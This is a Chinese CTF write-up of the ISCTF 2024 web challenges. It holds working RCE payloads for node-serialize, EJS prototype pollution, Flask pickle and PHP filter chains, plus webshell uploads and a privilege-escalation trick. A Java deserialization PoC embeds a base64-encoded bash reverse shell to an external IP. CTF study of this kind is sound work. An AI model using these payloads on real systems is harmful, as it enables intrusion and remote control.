0


ISCTF 2024 web

ISCTF 2024

web

小蓝鲨的冒险

源码:

<?phperror_reporting(0);highlight_file(__FILE__);$a="isctf2024";$b=$_GET["b"];
@parse_str($b);echo"小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";if($a[0]!='QNKCDZO'&&md5($a[0])==md5('QNKCDZO')){$num=$_POST["num"];echo"第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";if($num==2024){die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");}if(preg_match("/[a-z]/i",$num)){die("陷阱太多QAQ");}if(intval($num,0)==2024){echo"到这了难道还要放弃吗?<br>";if(isset($_GET['which'])){$which=$_GET['which'];echo"小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";switch($which){case0:print('QAQ');case1:case2:require_once$which.'.php';echo$flag;break;default:echoGWF_HTML::error('PHP-0817','Hacker NoNoNo!',false);break;}}}}

第一层通过变量覆盖绕过,传入

b=a[0]=240610708

然后典型的

intval

函数特性,传入

num=2024.1

最后 which 传入

which=flag

得到flag

ezSSTI

存在 ssti 漏洞,直接 fenjing 一把梭

25时晓山瑞希生日会

伪造http 的 header ,提示来自客户端

Project Sekai

,伪造:

User-Agent: Project Sekai

然后有需要提示需要来自本地

X-Forwarded-For: 127.0.0.1

最后就是伪造 Date 头,需要简单爆破一下,时间无所谓,日期对的就行。最后构造

Date: Thu, 27 Aug 2024 05:00:00 GMT

得到flag

1z_php

源码:

<?phphighlight_file('index.php');#一句话木马,神神又奇奇if(isset($_POST['J'])){$call=$_POST['J'];$dangerous_commands=['cat','tac','head','nl','more','less','tail','vi','sed','od'];foreach($dangerous_commandsas$command){if(preg_match("/$command/i",$call)){die("这些个危险函数可不兴使啊");}}system($call);}?>

ban 了几个读取文件的命令,还可以用 grep,strings 进行绕过,

ezrce

源码:

<?phperror_reporting(0);if(isset($_GET['cmd'])){$cmd=$_GET['cmd'];if(preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i",$cmd)){die("Blocked by security filter!");}else{eval($cmd);}}else{highlight_file(__FILE__);}?>

同样是绕 waf,

system

可以用

passthru

代替,过滤了

/

,可以通过

cd ..

进行绕过,然后文件读取同样

strings

即可

cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag
cmd=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=/flag

UP!UPloader

随便上传文件发现存在

include.php

文件,可以进行文件包含,先看一下include.php 中进行文件包含的函数,

php://filter/read=convert.base64-encode/resource=/var/www/html/include.php

发现是 include 函数,但是尝试了 filter 链发现不行,看来还是只能上传文件了,

读取 uoload.php 源码

<?phperror_reporting(0);$file=$_FILES['file'];if(isset($file)&&$file['size']>0){$ext=pathinfo($file['name'],PATHINFO_EXTENSION);$name=pathinfo($file['name'],PATHINFO_FILENAME);$dir_name=$name.'.'.$ext;$upload_dir='./uploads/';if(!is_dir($upload_dir)){mkdir($upload_dir,0755,true);}if(move_uploaded_file($file['tmp_name'],$upload_dir.md5($dir_name).'.'.$ext)){echo"文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。";}else{echo"文件存储失败,未知原因......";}die();}?>

看到了文件路径逻辑,上传 1.php 那么路径为

/uploads/f3b94e88bd1bd325af6f62828c8785dd.php

,最后访问进行rce

小蓝鲨的秘密

开题,访问发现是官网,

翻了下 js 没什么发现。

后面注意到这里存在 302 重定向,抓包拦截,得到flag

天命人

开题,源码

<?phperror_reporting(0);# 帮天命人搜集法宝,重获齐天之姿!classWuzhishan{public$wu="俺老孙定要踏破这五指山!<br>";public$zhi;public$shan;function__get($j){echo"此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if(md5($yin)==$yang&&md5($yin)==md5($yang)){echo"哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}}classHuoyanjinjing{public$huoyan;public$jinjing;function__get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo$this->huoyan->jinjing;}function__invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo$this->huoyan->jinjing;}}classDinghaishenzhen{public$Jindou="一个筋斗能翻十万八千里!<br>";public$yun;function__toString(){$f=$this->yun;$f();return"你真的逃出去了吗?天命人?<br>";}}classJingdouyun{public$Qishier=72;public$bian="看俺老孙七十二变!<br>";function__sleep(){echo"三更敲门,菩提老祖送我筋斗云...<br>";echonewJindouyun();}}classTianmingren{public$tianming;public$ren;function__destruct(){echo"迷途中的羔羊,你相信天命吗?<br>";echo$this->tianming;}}$data=unserialize($_POST['Wukong']);thrownewException('开局一根棍,装备全靠打。');?>

一个简单的反序列化,pop 链:

<?phphighlight_file(__FILE__);error_reporting(0);# 帮天命人搜集法宝,重获齐天之姿!classWuzhishan{public$wu;public$zhi;public$shan;function__get($j){echo"此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if(md5($yin)==$yang&&md5($yin)==md5($yang)){echo"哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}}classHuoyanjinjing{public$huoyan;public$jinjing;function__get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo$this->huoyan->jinjing;}function__invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo$this->huoyan->jinjing;}}classDinghaishenzhen{public$Jindou;public$yun;function__toString(){$f=$this->yun;$f();return"你真的逃出去了吗?天命人?<br>";}}classJingdouyun{public$Qishier;public$bian;function__sleep(){echo"三更敲门,菩提老祖送我筋斗云...<br>";echonewJindouyun();}}classTianmingren{public$tianming;public$ren;function__destruct(){echo"迷途中的羔羊,你相信天命吗?<br>";echo$this->tianming;}}$a=newTianmingren();$a->tianming=newDinghaishenzhen();$a->tianming->yun=newHuoyanjinjing();$a->tianming->yun->huoyan=newWuzhishan();echoserialize($a);

然后更改一下属性数绕过 throw ,得到

O:11:"Tianmingren":3:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}

最后需要 md5 加密后还要弱相等

0e215962017

得到flag

ezserialize

又是一个反序列化,链子

<?phperror_reporting(0);classFlag{private$flag;publicfunction__construct(){$this->flag=file_get_contents('/flag');}publicfunctiongetFlag(){return$this->flag;}publicfunction__toString(){return"You can't directly access the flag!";}}classUser{public$username;public$isAdmin=true;publicfunction__construct($username){$this->username=$username;}publicfunction__wakeup(){if($this->isAdmin){echo"Welcome, admin! Here's your flag: ".(newFlag())->getFlag();}else{echo"Hello, ".htmlspecialchars($this->username)."!";}}}$a=newUser('aaa');echoserialize($a);?>

最后传入payload,得到flag

O:4:"User":2:{s:8:"username";s:3:"aaa";s:7:"isAdmin";b:1;}

小蓝鲨的临时存储室

没有任何 waf 的文件上传,直接上传一句话木马进行连接

发现 flag 需要 root 权限才能读取,

看看 suid 权限命令

find / -perm -u=s -type f 2>/dev/null

发现有个 suexec 命令,看来半天没看懂怎么提权。

然后注意到上传的木马会被定时删除,但是没权限查看定时任务,不过发现是执行的 down_file.sh 文件,修改其内容,

最后得到 flag

最后感觉应该还是和 suexec 有关,因为 down_file.sh 是 apache 权限,却能读 root 权限的 /flag,具体没搞明白。

ezlogin

下载附件,注意app.js 源码

const express =require('express');const app =express();const bodyParser =require('body-parser');var cookieParser =require('cookie-parser');var serialize =require('node-serialize');
app.use(bodyParser.urlencoded({ extended:true}));
app.use(cookieParser())
app.set('view engine','ejs');
app.set('views','./views');

users={"guest":"123456"}functionauth(req, res, next){if(req.cookies.token){const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());if(!user.username){return res.status(401).redirect('/login');}}else{return res.status(401).redirect('/login');}next();}

app.get('/index',auth,function(req,res){
    res.render("index");});

app.get('/register',function(req,res){
    res.render("register");});

app.post('/register',function(req,res){
    username = req.body.username;
    password = req.body.password;if(!username ||!password){return res.status(400).send('用户名和密码都是必填项');}if(users[username]){return res.status(409).send('用户名已存在');}
    users[username]= password;return res.status(201).send('用户注册成功');});

app.get('/login',function(req,res){
  res.render("login");});

app.post('/login',function(req,res){
  username = req.body.username;
  password = req.body.password;if(!username ||!password){return res.status(400).send('用户名和密码都是必填项');}if(!(users[username])){return res.status(409).send('用户名不存在');}else{if(users[username]=== password){
      token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')
      res.cookie('token',token,{
        maxAge:900000,
        httpOnly:true});return res.status(200).redirect('/index');}else{return res.status(200).send('密码错误');}}});// 启动服务器
app.listen(80,()=>{
  console.log(`Server running at http://localhost:8099`);});

看到在cookie 处存在反序列化,并且

node-serialize

版本为 0.0.4,该版本存在命令执行漏洞

直接参考:https://xz.aliyun.com/t/7184

没有回显,外带到

/views/login.ejs

中,payload

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls />./views/login.ejs',function(error, stdout, stderr){console.log(stdout)});}()"}

base64 编码后替换掉cookie,访问/index 路由,然后刷新登录页面

最后得到flag

千年樱

第一关

传入

Cookie: from=ISCTF

即可,得到路由

/get_contents_qwerghjkl.php

,第二关需要满足下面条件

直接用 filter 链,

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags/resource=data://,aaaaaaaaaaaaaaaaaa

这里也可以用 data 伪协议

name=data://text/plain,ISCTF

得到第三关路由

/well_down_mlpnkobji.php

,现在又需要满足

还是同理构造 filter 链,

poc=convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

最后进行命令执行读取 flag

新闻系统

下载源码,注意到在

add_news

函数存在 pickle 反序列化,

但是没有回显,尝试外带似乎不行,然后又尝试写文件到

./templates/login.html

中,发现需要重新加载才会生效,最后直接打内存马

import base64  
import os  
import pickle  
classtttang(object):def__reduce__(self):return(exec,('global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__(\'os\').popen(request.args.get(\'cmd\')).read()',))  
a=tttang()  
payload=pickle.dumps(a)print(base64.b64encode(payload))

随便访问一个报错页面就能进行执行,得到 flag

ezejs

源码:

const express =require('express');const app =express();
app.use(express.json());
app.set('view engine','ejs');
app.set('env','development');
app.set('views','./views');

users={"guest":"123456"}functioncopy(object1, object2){for(let key in object2){if(key in object2 && key in object1){copy(object1[key], object2[key])}else{
            object1[key]= object2[key]}}}// 首页展示
app.get('/',(req, res)=>{
    res.render('index');});// backdoor
app.post('/UserList',(req,res)=>{
    user = req.body
    const blacklist =['outputFunctionName','localsName','escape']const hacker =JSON.stringify(user)for(const pattern of blacklist){if(hacker.includes(pattern)){
          res.status(200).json({"message":"hacker!"});return}}copy(users,user);
    res.status(200).json(user);});// 启动服务器
app.listen(8099,()=>{
  console.log(`Server running at http://localhost:8099`);});

注意到漏洞点是原型链污染,是污染 ejs 模板属性进行 rce,但是这里过滤了关键字,尝试绕过了一些绕过关键字的方法但是都不行,看来需要重新污染新的属性了

参考:https://www.anquanke.com/post/id/236354#h2-2

发现除了

outputFunctionName

escape

还有一些属性也进行拼接进了 src 中,分别是

localsName

destructuredLocals

filename

,但是这里

localsName

也被 waf 掉了,然后

filename

不太好利用,会被当作 json 格式。

可以利用

destructuredLocals

属性,将其污染为数组,这样取得值就会为污染的值。然后其会被赋值给

prepended

,最后拼接进 src 中造成 rce。

payload 都不用变直接 copy

outputFunctionName

的,最后 payload

{"__proto__":{"destructuredLocals":["_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"]}}

得到 flag

蓝鲨的java入门课堂

下载源码发现 source 点和 sink 点

通过 hashmap 调用到 hashcode,poc

packageorg.example;importcat.uwu.begin_java.Evil;importjava.io.*;importjava.lang.reflect.Constructor;importjava.util.Base64;importjava.util.HashMap;publicclass test {publicstaticvoidmain(String[] args)throwsException{HashMap map =newHashMap();Class a=Class.forName("cat.uwu.begin_java.Evil");Constructor constructor=a.getDeclaredConstructor(String.class);  
        constructor.setAccessible(true);Object o= constructor.newInstance("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");Evil ev=(Evil) o;  
        map.put(ev,"gaoren");try{ByteArrayOutputStream out =newByteArrayOutputStream();ObjectOutputStream objout =newObjectOutputStream(out);  
            objout.writeObject(map);  
            objout.close();  
            out.close();byte[]ObjectBytes= out.toByteArray();String base64EncodedValue =Base64.getEncoder().encodeToString(ObjectBytes);System.out.println(base64EncodedValue);}catch(Exception e){  
            e.printStackTrace();}}}

最后成功反弹 shell 获得 flag,


本文转载自: https://blog.csdn.net/2301_79700060/article/details/143854365
版权归原作者 gaorenyusi 所有, 如有侵权,请联系我们删除。

“ISCTF 2024 web”的评论:

还没有评论